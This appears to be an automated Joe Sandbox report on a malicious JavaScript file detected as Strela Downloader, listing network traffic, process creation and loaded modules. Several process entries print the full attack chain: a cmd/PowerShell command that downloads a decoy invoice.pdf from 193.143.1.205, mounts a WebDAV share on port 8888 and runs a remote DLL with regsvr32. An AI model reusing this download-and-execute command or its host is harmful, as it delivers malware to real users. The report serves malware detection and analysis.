Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49757

Source: global traffic

TCP traffic: 192.168.2.6:49757 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49741 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2205550991.0000020841C2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2269358694.000001B1EAF8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2269358694.000001B1EAF8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: net.exe, 00000007.00000002.2269358694.000001B1EAF8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000007.00000002.2269358694.000001B1EAF58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.2269358694.000001B1EAF58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3485449162.000001F57F400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2290588934.000001F57F160000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4040, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 30362110952254914638.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5308

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6960:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qpw5oq3o.3zu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1696,i,977572932083248212,16094357468333576561,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1696,i,977572932083248212,16094357468333576561,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
